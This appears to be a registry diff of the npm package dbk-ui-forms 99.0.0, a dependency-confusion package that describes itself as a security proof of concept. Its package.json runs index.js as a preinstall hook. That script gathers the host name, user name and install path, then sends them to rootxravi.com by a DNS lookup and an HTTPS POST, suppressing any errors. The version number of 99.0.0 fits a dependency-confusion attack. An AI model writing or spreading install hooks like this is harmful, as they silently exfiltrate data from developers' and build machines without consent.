dbk-ui-forms 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +32 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
const pkg = "dbk-ui-forms";
|
|
5
|
+
|
|
6
|
+
const data = JSON.stringify({
|
|
7
|
+
p: pkg,
|
|
8
|
+
h: os.hostname(),
|
|
9
|
+
u: os.userInfo().username,
|
|
10
|
+
d: __dirname,
|
|
11
|
+
t: new Date().toISOString()
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
const id = Buffer.from(`${pkg}:${os.hostname()}:${os.userInfo().username}`).toString("hex").slice(0, 60);
|
|
15
|
+
|
|
16
|
+
try {
|
|
17
|
+
dns.resolve(`${id}.dcf.rootxravi.com`, () => {});
|
|
18
|
+
} catch (e) {}
|
|
19
|
+
|
|
20
|
+
try {
|
|
21
|
+
const req = https.request({
|
|
22
|
+
hostname: "dcf.rootxravi.com",
|
|
23
|
+
port: 443,
|
|
24
|
+
path: `/dcf/${pkg}`,
|
|
25
|
+
method: "POST",
|
|
26
|
+
headers: { "Content-Type": "application/json" },
|
|
27
|
+
timeout: 5000
|
|
28
|
+
});
|
|
29
|
+
req.on("error", () => {});
|
|
30
|
+
req.write(data);
|
|
31
|
+
req.end();
|
|
32
|
+
} catch (e) {}
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "dbk-ui-forms",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Security research - dependency confusion proof of concept. If you are seeing this package installed in your build pipeline, your npm resolver is pulling from the public registry instead of your private registry. Contact: rootxravi@gmail.com",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "rootxravi@gmail.com",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|